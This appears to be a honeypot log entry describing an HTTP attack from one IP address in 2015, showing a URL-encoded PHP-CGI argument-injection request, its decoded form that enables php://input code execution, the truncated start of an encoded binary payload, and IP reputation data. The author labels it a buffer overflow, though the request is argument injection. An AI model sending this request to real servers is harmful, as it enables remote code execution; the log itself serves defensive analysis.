HTTP Buffer overflow attack - 204.15.135.116

BEGIN OF HTTP DATA:
2015-07-31 12:43:19
Source IP: 204.15.135.116
Country: US RiskScore: 1 Malware: []
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%6
9%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%7
2%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%6
4%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%7
4%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 195.169.125.87
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 43604
Connection: close

The encoded url translates to:

print urllib.unquote(url).decode('utf-8')
/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env="yes"+-d+cgi.fix_pathinfo=1+-d+auto_prepend_file=php://input+-n HTTP/1.1
 

The request was followed by php code

<?php
$bufferf = 'f0VMRgIBAQMAAAAAAAAA [...snip...]

My buffer read 16k of data and ended the connection.
IP intelligence by IBM X-Force shows:

{
   "categoryDescriptions": {},
   "cats": {},
   "geo": {
      "country": "United States",
      "countrycode": "US"
   },
   "ip": "204.15.135.116",
   "reason": "Firewall deny log analysis",
   "reasonDescription": "This IP was involved in port scanning activities.",
   "score": 1,
}

The IP performed 4 of these requests in a row.